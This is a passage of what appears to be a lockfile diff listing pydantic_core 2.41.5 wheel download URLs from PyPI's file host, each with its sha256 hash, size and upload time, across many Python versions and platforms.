"sha256:7f3bf998340c6d4b0c9a2f02d6a400e51f123b59565d74dc60d252ce888c260b", size = 1899826, upload-time = "2025-11-04T13:39:32.897Z" }, + { url = "https://files.pythonhosted.org/packages/33/7f/1d5cab3ccf44c1935a359d51a8a2a9e1a654b744b5e7f80d41b88d501eec/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:378bec5c66998815d224c9ca994f1e14c0c21cb95d2f52b6021cc0b2a58f2a5a", size = 1917869, upload-time = "2025-11-04T13:39:34.469Z" }, + { url = "https://files.pythonhosted.org/packages/6e/6a/30d94a9674a7fe4f4744052ed6c5e083424510be1e93da5bc47569d11810/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e7b576130c69225432866fe2f4a469a85a54ade141d96fd396dffcf607b558f8", size = 2063890, upload-time = "2025-11-04T13:39:36.053Z" }, + { url = "https://files.pythonhosted.org/packages/50/be/76e5d46203fcb2750e542f32e6c371ffa9b8ad17364cf94bb0818dbfb50c/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6cb58b9c66f7e4179a2d5e0f849c48eff5c1fca560994d6eb6543abf955a149e", size = 2229740, upload-time = "2025-11-04T13:39:37.753Z" }, + { url = "https://files.pythonhosted.org/packages/d3/ee/fed784df0144793489f87db310a6bbf8118d7b630ed07aa180d6067e653a/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:88942d3a3dff3afc8288c21e565e476fc278902ae4d6d134f1eeda118cc830b1", size = 2350021, upload-time = "2025-11-04T13:39:40.94Z" }, + { url = "https://files.pythonhosted.org/packages/c8/be/8fed28dd0a180dca19e72c233cbf58efa36df055e5b9d90d64fd1740b828/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f31d95a179f8d64d90f6831d71fa93290893a33148d890ba15de25642c5d075b", size = 2066378, upload-time = "2025-11-04T13:39:42.523Z" }, + { url = "https://files.pythonhosted.org/packages/b0/3b/698cf8ae1d536a010e05121b4958b1257f0b5522085e335360e53a6b1c8b/pydantic_core-2.41.5-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c1df3d34aced70add6f867a8cf413e299177e0c22660cc767218373d0779487b", size = 2175761, upload-time = "2025-11-04T13:39:44.553Z" }, + { url = "https://files.pythonhosted.org/packages/b8/ba/15d537423939553116dea94ce02f9c31be0fa9d0b806d427e0308ec17145/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:4009935984bd36bd2c774e13f9a09563ce8de4abaa7226f5108262fa3e637284", size = 2146303, upload-time = "2025-11-04T13:39:46.238Z" }, + { url = "https://files.pythonhosted.org/packages/58/7f/0de669bf37d206723795f9c90c82966726a2ab06c336deba4735b55af431/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:34a64bc3441dc1213096a20fe27e8e128bd3ff89921706e83c0b1ac971276594", size = 2340355, upload-time = "2025-11-04T13:39:48.002Z" }, + { url = "https://files.pythonhosted.org/packages/e5/de/e7482c435b83d7e3c3ee5ee4451f6e8973cff0eb6007d2872ce6383f6398/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:c9e19dd6e28fdcaa5a1de679aec4141f691023916427ef9bae8584f9c2fb3b0e", size = 2319875, upload-time = "2025-11-04T13:39:49.705Z" }, + { url = "https://files.pythonhosted.org/packages/fe/e6/8c9e81bb6dd7560e33b9053351c29f30c8194b72f2d6932888581f503482/pydantic_core-2.41.5-cp311-cp311-win32.whl", hash = "sha256:2c010c6ded393148374c0f6f0bf89d206bf3217f201faa0635dcd56bd1520f6b", size = 1987549, upload-time = "2025-11-04T13:39:51.842Z" }, + { url = "https://files.pythonhosted.org/packages/11/66/f14d1d978ea94d1bc21fc98fcf570f9542fe55bfcc40269d4e1a21c19bf7/pydantic_core-2.41.5-cp311-cp311-win_amd64.whl", hash = "sha256:76ee27c6e9c7f16f47db7a94157112a2f3a00e958bc626e2f4ee8bec5c328fbe", size = 2011305, upload-time = "2025-11-04T13:39:53.485Z" }, + { url = "https://files.pythonhosted.org/packages/56/d8/0e271434e8efd03186c5386671328154ee349ff0354d83c74f5caaf096ed/pydantic_core-2.41.5-cp311-cp311-win_arm64.whl", hash = "sha256:4bc36bbc0b7584de96561184ad7f012478987882ebf9f9c389b23f432ea3d90f", size = 1972902, upload-time = "2025-11-04T13:39:56.488Z" }, + { url = "https://files.pythonhosted.org/packages/5f/5d/5f6c63eebb5afee93bcaae4ce9a898f3373ca23df3ccaef086d0233a35a7/pydantic_core-2.41.5-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:f41a7489d32336dbf2199c8c0a215390a751c5b014c2c1c5366e817202e9cdf7", size = 2110990, upload-time = "2025-11-04T13:39:58.079Z" }, + { url = "https://files.pythonhosted.org/packages/aa/32/9c2e8ccb57c01111e0fd091f236c7b371c1bccea0fa85247ac55b1e2b6b6/pydantic_core-2.41.5-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:070259a8818988b9a84a449a2a7337c7f430a22acc0859c6b110aa7212a6d9c0", size = 1896003, upload-time = "2025-11-04T13:39:59.956Z" }, + { url = "https://files.pythonhosted.org/packages/68/b8/a01b53cb0e59139fbc9e4fda3e9724ede8de279097179be4ff31f1abb65a/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e96cea19e34778f8d59fe40775a7a574d95816eb150850a85a7a4c8f4b94ac69", size = 1919200, upload-time = "2025-11-04T13:40:02.241Z" }, + { url = "https://files.pythonhosted.org/packages/38/de/8c36b5198a29bdaade07b5985e80a233a5ac27137846f3bc2d3b40a47360/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ed2e99c456e3fadd05c991f8f437ef902e00eedf34320ba2b0842bd1c3ca3a75", size = 2052578, upload-time = "2025-11-04T13:40:04.401Z" }, + { url = "https://files.pythonhosted.org/packages/00/b5/0e8e4b5b081eac6cb3dbb7e60a65907549a1ce035a724368c330112adfdd/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:65840751b72fbfd82c3c640cff9284545342a4f1eb1586ad0636955b261b0b05", size = 2208504, upload-time = "2025-11-04T13:40:06.072Z" }, + { url = "https://files.pythonhosted.org/packages/77/56/87a61aad59c7c5b9dc8caad5a41a5545cba3810c3e828708b3d7404f6cef/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e536c98a7626a98feb2d3eaf75944ef6f3dbee447e1f841eae16f2f0a72d8ddc", size = 2335816, upload-time = "2025-11-04T13:40:07.835Z" }, + { url = "https://files.pythonhosted.org/packages/0d/76/941cc9f73529988688a665a5c0ecff1112b3d95ab48f81db5f7606f522d3/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eceb81a8d74f9267ef4081e246ffd6d129da5d87e37a77c9bde550cb04870c1c", size = 2075366, upload-time = "2025-11-04T13:40:09.804Z" }, + { url = "https://files.pythonhosted.org/packages/d3/43/ebef01f69baa07a482844faaa0a591bad1ef129253ffd0cdaa9d8a7f72d3/pydantic_core-2.41.5-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d38548150c39b74aeeb0ce8ee1d8e82696f4a4e16ddc6de7b1d8823f7de4b9b5", size = 2171698, upload-time = "2025-11-04T13:40:12.004Z" }, + { url = "https://files.pythonhosted.org/packages/b1/87/41f3202e4193e3bacfc2c065fab7706ebe81af46a83d3e27605029c1f5a6/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:c23e27686783f60290e36827f9c626e63154b82b116d7fe9adba1fda36da706c", size = 2132603, upload-time = "2025-11-04T13:40:13.868Z" }, + { url = "https://files.pythonhosted.org/packages/49/7d/4c00df99cb12070b6bccdef4a195255e6020a550d572768d92cc54dba91a/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:482c982f814460eabe1d3bb0adfdc583387bd4691ef00b90575ca0d2b6fe2294", size = 2329591, upload-time = "2025-11-04T13:40:15.672Z" }, + { url = "https://files.pythonhosted.org/packages/cc/6a/ebf4b1d65d458f3cda6a7335d141305dfa19bdc61140a884d165a8a1bbc7/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:bfea2a5f0b4d8d43adf9d7b8bf019fb46fdd10a2e5cde477fbcb9d1fa08c68e1", size = 2319068, upload-time = "2025-11-04T13:40:17.532Z" }, + { url = "https://files.pythonhosted.org/packages/49/3b/774f2b5cd4192d5ab75870ce4381fd89cf218af999515baf07e7206753f0/pydantic_core-2.41.5-cp312-cp312-win32.whl", hash = "sha256:b74557b16e390ec12dca509bce9264c3bbd128f8a2c376eaa68003d7f327276d", size = 1985908, upload-time = "2025-11-04T13:40:19.309Z" }, + { url = "https://files.pythonhosted.org/packages/86/45/00173a033c801cacf67c190fef088789394feaf88a98a7035b0e40d53dc9/pydantic_core-2.41.5-cp312-cp312-win_amd64.whl", hash = "sha256:1962293292865bca8e54702b08a4f26da73adc83dd1fcf26fbc875b35d81c815", size = 2020145, upload-time = "2025-11-04T13:40:21.548Z" }, + { url = "https://files.pythonhosted.org/packages/f9/22/91fbc821fa6d261b376a3f73809f907cec5ca6025642c463d3488aad22fb/pydantic_core-2.41.5-cp312-cp312-win_arm64.whl", hash = "sha256:1746d4a3d9a794cacae06a5eaaccb4b8643a131d45fbc9af23e353dc0a5ba5c3", size = 1976179, upload-time = "2025-11-04T13:40:23.393Z" }, + { url = "https://files.pythonhosted.org/packages/87/06/8806241ff1f70d9939f9af039c6c35f2360cf16e93c2ca76f184e76b1564/pydantic_core-2.41.5-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:941103c9be18ac8daf7b7adca8228f8ed6bb7a1849020f643b3a14d15b1924d9", size = 2120403, upload-time = "2025-11-04T13:40:25.248Z" }, + { url = "https://files.pythonhosted.org/packages/94/02/abfa0e0bda67faa65fef1c84971c7e45928e108fe24333c81f3bfe35d5f5/pydantic_core-2.41.5-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:112e305c3314f40c93998e567879e887a3160bb8689ef3d2c04b6cc62c33ac34", size = 1896206, upload-time = "2025-11-04T13:40:27.099Z" }, + { url = "https://files.pythonhosted.org/packages/15/df/a4c740c0943e93e6500f9eb23f4ca7ec9bf71b19e608ae5b579678c8d02f/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0cbaad15cb0c90aa221d43c00e77bb33c93e8d36e0bf74760cd00e732d10a6a0", size = 1919307, upload-time = "2025-11-04T13:40:29.806Z" }, + { url = "https://files.pythonhosted.org/packages/9a/e3/6324802931ae1d123528988e0e86587c2072ac2e5394b4bc2bc34b61ff6e/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:03ca43e12fab6023fc79d28ca6b39b05f794ad08ec2feccc59a339b02f2b3d33", size = 2063258, upload-time = "2025-11-04T13:40:33.544Z" }, + { url = "https://files.pythonhosted.org/packages/c9/d4/2230d7151d4957dd79c3044ea26346c148c98fbf0ee6ebd41056f2d62ab5/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:dc799088c08fa04e43144b164feb0c13f9a0bc40503f8df3e9fde58a3c0c101e", size = 2214917, upload-time = "2025-11-04T13:40:35.479Z" }, + { url = "https://files.pythonhosted.org/packages/e6/9f/eaac5df17a3672fef0081b6c1bb0b82b33ee89aa5cec0d7b05f52fd4a1fa/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:97aeba56665b4c3235a0e52b2c2f5ae9cd071b8a8310ad27bddb3f7fb30e9aa2", size = 2332186, upload-time = "2025-11-04T13:40:37.436Z" }, + { url = "https://files.pythonhosted.org/packages/cf/4e/35a80cae583a37cf15604b44240e45c05e04e86f9cfd766623149297e971/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:406bf18d345822d6c21366031003612b9c77b3e29ffdb0f612367352aab7d586", size = 2073164, upload-time = "2025-11-04T13:40:40.289Z" }, + { url = "https://files.pythonhosted.org/packages/bf/e3/f6e262673c6140dd3305d144d032f7bd5f7497d3871c1428521f19f9efa2/pydantic_core-2.41.5-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:b93590ae81f7010dbe380cdeab6f515902ebcbefe0b9327cc4804d74e93ae69d", size = 2179146, upload-time = "2025-11-04T13:40:42.809Z" }, + { url = "https://files.pythonhosted.org/packages/75/c7/20bd7fc05f0c6ea2056a4565c6f36f8968c0924f19b7d97bbfea55780e73/pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:01a3d0ab748ee531f4ea6c3e48ad9dac84ddba4b0d82291f87248f2f9de8d740", size = 2137788, upload-time = "2025-11-04T13:40:44.752Z" }, + { url = "https://files.pythonhosted.org/packages/3a/8d/34318ef985c45196e004bc46c6eab2eda437e744c124ef0dbe1ff2c9d06b/pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:6561e94ba9dacc9c61bce40e2d6bdc3bfaa0259d3ff36ace3b1e6901936d2e3e", size = 2340133, upload-time = "2025-11-04T13:40:46.66Z" }, + { url = "https://files.pythonhosted.org/packages/9c/59/013626bf8c78a5a5d9350d12e7697d3d4de951a75565496abd40ccd46bee/pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:915c3d10f81bec3a74fbd4faebe8391013ba61e5a1a8d48c4455b923bdda7858", size = 2324852, upload-time = "2025-11-04T13:40:48.575Z" }, + { url = "https://files.pythonhosted.org/packages/1a/d9/c248c103856f807ef70c18a4f986693a46a8ffe1602e5d361485da502d20/pydantic_core-2.41.5-cp313-cp313-win32.whl", hash = "sha256:650ae77860b45cfa6e2cdafc42618ceafab3a2d9a3811fcfbd3bbf8ac3c40d36", size = 1994679, upload-time = "2025-11-04T13:40:50.619Z" }, + { url = "https://files.pythonhosted.org/packages/9e/8b/341991b158ddab181cff136acd2552c9f35bd30380422a639c0671e99a91/pydantic_core-2.41.5-cp313-cp313-win_amd64.whl", hash = "sha256:79ec52ec461e99e13791ec6508c722742ad745571f234ea6255bed38c6480f11", size = 2019766, upload-time = "2025-11-04T13:40:52.631Z" }, + { url = "https://files.pythonhosted.org/packages/73/7d/f2f9db34af103bea3e09735bb40b021788a5e834c81eedb541991badf8f5/pydantic_core-2.41.5-cp313-cp313-win_arm64.whl", hash = "sha256:3f84d5c1b4ab906093bdc1ff10484838aca54ef08de4afa9de0f5f14d69639cd", size = 1981005, upload-time = "2025-11-04T13:40:54.734Z" }, + { url = "https://files.pythonhosted.org/packages/ea/28/46b7c5c9635ae96ea0fbb779e271a38129df2550f763937659ee6c5dbc65/pydantic_core-2.41.5-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:3f37a19d7ebcdd20b96485056ba9e8b304e27d9904d233d7b1015db320e51f0a", size = 2119622, upload-time = "2025-11-04T13:40:56.68Z" }, + { url = "https://files.pythonhosted.org/packages/74/1a/145646e5687e8d9a1e8d09acb278c8535ebe9e972e1f162ed338a622f193/pydantic_core-2.41.5-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1d1d9764366c73f996edd17abb6d9d7649a7eb690006ab6adbda117717099b14", size = 1891725, upload-time = "2025-11-04T13:40:58.807Z" }, + { url = "https://files.pythonhosted.org/packages/23/04/e89c29e267b8060b40dca97bfc64a19b2a3cf99018167ea1677d96368273/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:25e1c2af0fce638d5f1988b686f3b3ea8cd7de5f244ca147c777769e798a9cd1", size = 1915040, upload-time = "2025-11-04T13:41:00.853Z" }, + { url = "https://files.pythonhosted.org/packages/84/a3/15a82ac7bd97992a82257f777b3583d3e84bdb06ba6858f745daa2ec8a85/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:506d766a8727beef16b7adaeb8ee6217c64fc813646b424d0804d67c16eddb66", size = 2063691, upload-time = "2025-11-04T13:41:03.504Z" }, + { url = "https://files.pythonhosted.org/packages/74/9b/0046701313c6ef08c0c1cf0e028c67c770a4e1275ca73131563c5f2a310a/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4819fa52133c9aa3c387b3328f25c1facc356491e6135b459f1de698ff64d869", size = 2213897, upload-time = "2025-11-04T13:41:05.804Z" }, + { url = "https://files.pythonhosted.org/packages/8a/cd/6bac76ecd1b27e75a95ca3a9a559c643b3afcd2dd62086d4b7a32a18b169/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2b761d210c9ea91feda40d25b4efe82a1707da2ef62901466a42492c028553a2", size = 2333302, upload-time = "2025-11-04T13:41:07.809Z" }, + { url = "https://files.pythonhosted.org/packages/4c/d2/ef2074dc020dd6e109611a8be4449b98cd25e1b9b8a303c2f0fca2f2bcf7/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:22f0fb8c1c583a3b6f24df2470833b40207e907b90c928cc8d3594b76f874375", size = 2064877, upload-time = "2025-11-04T13:41:09.827Z" }, + { url = "https://files.pythonhosted.org/packages/18/66/e9db17a9a763d72f03de903883c057b2592c09509ccfe468187f2a2eef29/pydantic_core-2.41.5-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2782c870e99878c634505236d81e5443092fba820f0373997ff75f90f68cd553", size = 2180680, upload-time = "2025-11-04T13:41:12.379Z" }, + { url = "https://files.pythonhosted.org/packages/d3/9e/3ce66cebb929f3ced22be85d4c2399b8e85b622db77dad36b73c5387f8f8/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:0177272f88ab8312479336e1d777f6b124537d47f2123f89cb37e0accea97f90", size = 2138960, upload-time = "2025-11-04T13:41:14.627Z" }, + { url = "https://files.pythonhosted.org/packages/a6/62/205a998f4327d2079326b01abee48e502ea739d174f0a89295c481a2272e/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:63510af5e38f8955b8ee5687740d6ebf7c2a0886d15a6d65c32814613681bc07", size = 2339102, upload-time = "2025-11-04T13:41:16.868Z" }, + { url = "https://files.pythonhosted.org/packages/3c/0d/f05e79471e889d74d3d88f5bd20d0ed189ad94c2423d81ff8d0000aab4ff/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:e56ba91f47764cc14f1daacd723e3e82d1a89d783f0f5afe9c364b8bb491ccdb", size = 2326039, upload-time = "2025-11-04T13:41:18.934Z" }, + { url = "https://files.pythonhosted.org/packages/ec/e1/e08a6208bb100da7e0c4b288eed624a703f4d129bde2da475721a80cab32/pydantic_core-2.41.5-cp314-cp314-win32.whl", hash = "sha256:aec5cf2fd867b4ff45b9959f8b20ea3993fc93e63c7363fe6851424c8a7e7c23", size = 1995126, upload-time = "2025-11-04T13:41:21.418Z" }, + { url = "https://files.pythonhosted.org/packages/48/5d/56ba7b24e9557f99c9237e29f5c09913c81eeb2f3217e40e922353668092/pydantic_core-2.41.5-cp314-cp314-win_amd64.whl", hash = "sha256:8e7c86f27c585ef37c35e56a96363ab8de4e549a95512445b85c96d3e2f7c1bf", size = 2015489, upload-time = "2025-11-04T13:41:24.076Z" }, + { url = "https://files.pythonhosted.org/packages/4e/bb/f7a190991ec9e3e0ba22e4993d8755bbc4a32925c0b5b42775c03e8148f9/pydantic_core-2.41.5-cp314-cp314-win_arm64.whl", hash = "sha256:e672ba74fbc2dc8eea59fb6d4aed6845e6905fc2a8afe93175d94a83ba2a01a0", size = 1977288, upload-time = "2025-11-04T13:41:26.33Z" }, + { url = "https://files.pythonhosted.org/packages/92/ed/77542d0c51538e32e15afe7899d79efce4b81eee631d99850edc2f5e9349/pydantic_core-2.41.5-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:8566def80554c3faa0e65ac30ab0932b9e3a5cd7f8323764303d468e5c37595a", size = 2120255, upload-time = "2025-11-04T13:41:28.569Z" }, + { url = "https://files.pythonhosted.org/packages/bb/3d/6913dde84d5be21e284439676168b28d8bbba5600d838b9dca99de0fad71/pydantic_core-2.41.5-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:b80aa5095cd3109962a298ce14110ae16b8c1aece8b72f9dafe81cf597ad80b3", size = 1863760, upload-time = "2025-11-04T13:41:31.055Z" }, + { url = "https://files.pythonhosted.org/packages/5a/f0/e5e6b99d4191da102f2b0eb9687aaa7f5bea5d9964071a84effc3e40f997/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3006c3dd9ba34b0c094c544c6006cc79e87d8612999f1a5d43b769b89181f23c", size = 1878092, upload-time = "2025-11-04T13:41:33.21Z" }, + { url = "https://files.pythonhosted.org/packages/71/48/36fb760642d568925953bcc8116455513d6e34c4beaa37544118c36aba6d/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:72f6c8b11857a856bcfa48c86f5368439f74453563f951e473514579d44aa612", size = 2053385, upload-time = "2025-11-04T13:41:35.508Z" }, + { url = "https://files.pythonhosted.org/packages/20/25/92dc684dd8eb75a234bc1c764b4210cf2646479d54b47bf46061657292a8/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5cb1b2f9742240e4bb26b652a5aeb840aa4b417c7748b6f8387927bc6e45e40d", size = 2218832, upload-time = "2025-11-04T13:41:37.732Z" }, + { url = "https://files.pythonhosted.org/packages/e2/09/f53e0b05023d3e30357d82eb35835d0f6340ca344720a4599cd663dca599/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bd3d54f38609ff308209bd43acea66061494157703364ae40c951f83ba99a1a9", size = 2327585, upload-time = "2025-11-04T13:41:40Z" }, + { url = "https://files.pythonhosted.org/packages/aa/4e/2ae1aa85d6af35a39b236b1b1641de73f5a6ac4d5a7509f77b814885760c/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2ff4321e56e879ee8d2a879501c8e469414d948f4aba74a2d4593184eb326660", size = 2041078, upload-time = "2025-11-04T13:41:42.323Z" }, + { url = "https://files.pythonhosted.org/packages/cd/13/2e215f17f0ef326fc72afe94776edb77525142c693767fc347ed6288728d/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d0d2568a8c11bf8225044aa94409e21da0cb09dcdafe9ecd10250b2baad531a9", size = 2173914, upload-time = "2025-11-04T13:41:45.221Z" }, + { url = "https://files.pythonhosted.org/packages/02/7a/f999a6dcbcd0e5660bc348a3991c8915ce6599f4f2c6ac22f01d7a10816c/pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:a39455728aabd58ceabb03c90e12f71fd30fa69615760a075b9fec596456ccc3", size = 2129560, upload-time = "2025-11-04T13:41:47.474Z" }, + { url = "https://files.pythonhosted.org/packages/3a/b1/6c990ac65e3b4c079a4fb9f5b05f5b013afa0f4ed6780a3dd236d2cbdc64/pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:239edca560d05757817c13dc17c50766136d21f7cd0fac50295499ae24f90fdf", size = 2329244, upload-time = "2025-11-04T13:41:49.992Z" }, + { url = "https://files.pythonhosted.org/packages/d9/02/3c562f3a51afd4d88fff8dffb1771b30cfdfd79befd9883ee094f5b6c0d8/pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:2a5e06546e19f24c6a96a129142a75cee553cc018ffee48a460059b1185f4470", size = 2331955, upload-time = "2025-11-04T13:41:54.079Z" }, + { url = "https://files.pythonhosted.org/packages/5c/96/5fb7d8c3c17bc8c62fdb031c47d77a1af698f1d7a406b0f79aaa1338f9ad/pydantic_core-2.41.5-cp314-cp314t-win32.whl", hash = "sha256:b4ececa40ac28afa90871c2cc2b9ffd2ff0bf749380fbdf57d165fd23da353aa", size = 1988906, upload-time = "2025-11-04T13:41:56.606Z" }, + { url = "https://files.pythonhosted.org/packages/22/ed/182129d83032702912c2e2d8bbe33c036f342cc735737064668585dac28f/pydantic_core-2.41.5-cp314-cp314t-win_amd64.whl", hash = "sha256:80aa89cad80b32a912a65332f64a4450ed00966111b6615ca6816153d3585a8c", size = 1981607, upload-time = "2025-11-04T13:41:58.889Z" }, + { url = "https://files.pythonhosted.org/packages/9f/ed/068e41660b832bb0b1aa5b58011dea2a3fe0ba7861ff38c4d4904c1c1a99/pydantic_core-2.41.5-cp314-cp314t-win_arm64.whl", hash = "sha256:35b44f37a3199f771c3eaa53051bc8a70cd7b54f333531c59e29fd4db5d15008", size = 1974769, upload-time = "2025-11-04T13:42:01.186Z" }, + { url = "https://files.pythonhosted.org/packages/11/72/90fda5ee3b97e51c494938a4a44c3a35a9c96c19bba12372fb9c634d6f57/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:b96d5f26b05d03cc60f11a7761a5ded1741da411e7fe0909e27a5e6a0cb7b034", size = 2115441, upload-time = "2025-11-04T13:42:39.557Z" }, + { url = "https://files.pythonhosted.org/packages/1f/53/8942f884fa33f50794f119012dc6a1a02ac43a56407adaac20463df8e98f/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:634e8609e89ceecea15e2d61bc9ac3718caaaa71963717bf3c8f38bfde64242c", size = 1930291, upload-time = "2025-11-04T13:42:42.169Z" }, + { url = "https://files.pythonhosted.org/packages/79/c8/ecb9ed9cd942bce09fc888ee960b52654fbdbede4ba6c2d6e0d3b1d8b49c/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:93e8740d7503eb008aa2df04d3b9735f845d43ae845e6dcd2be0b55a2da43cd2", size = 1948632, upload-time = "2025-11-04T13:42:44.564Z" }, + { url = "https://files.pythonhosted.org/packages/2e/1b/687711069de7efa6af934e74f601e2a4307365e8fdc404703afc453eab26/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f15489ba13d61f670dcc96772e733aad1a6f9c429cc27574c6cdaed82d0146ad", size = 2138905, upload-time = "2025-11-04T13:42:47.156Z" }, + { url = "https://files.pythonhosted.org/packages/09/32/59b0c7e63e277fa7911c2fc70ccfb45ce4b98991e7ef37110663437005af/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:7da7087d756b19037bc2c06edc6c170eeef3c3bafcb8f532ff17d64dc427adfd", size = 2110495, upload-time = "2025-11-04T13:42:49.689Z" }, + { url = "https://files.pythonhosted.org/packages/aa/81/05e400037eaf55ad400bcd318c05bb345b57e708887f07ddb2d20e3f0e98/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:aabf5777b5c8ca26f7824cb4a120a740c9588ed58df9b2d196ce92fba42ff8dc", size = 1915388, upload-time = "2025-11-04T13:42:52.215Z" }, + { url = "https://files.pythonhosted.org/packages/6e/0d/e3549b2399f71d56476b77dbf3cf8937cec5cd70536bdc0e374a421d0599/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c007fe8a43d43b3969e8469004e9845944f1a80e6acd47c150856bb87f230c56", size = 1942879, upload-time = "2025-11-04T13:42:56.483Z" }, + { url = "https://files.pythonhosted.org/packages/f7/07/34573da085946b6a313d7c42f82f16e8920bfd730665de2d11c0c37a74b5/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:76d0819de158cd855d1cbb8fcafdf6f5cf1eb8e470abe056d5d161106e38062b", size = 2139017, upload-time = "2025-11-04T13:42:59.471Z" }, + { url = "https://files.pythonhosted.org/packages/e6/b0/1a2aa41e3b5a4ba11420aba2d091b2d17959c8d1519ece3627c371951e73/pydantic_core-2.41.5-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:b5819cd790dbf0c5eb9f82c73c16b39a65dd6dd4d1439dcdea7816ec9adddab8", size = 2103351, upload-time = "2025-11-04T13:43:02.058Z" }, + { url = "https://files.pythonhosted.org/packages/a4/ee/31b1f0020baaf6d091c87900ae05c6aeae101fa4e188e1613c80e4f1ea31/pydantic_core-2.41.5-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:5a4e67afbc95fa5c34cf27d9089bca7fcab4e51e57278d710320a70b956d1b9a", size = 1925363, upload-time = 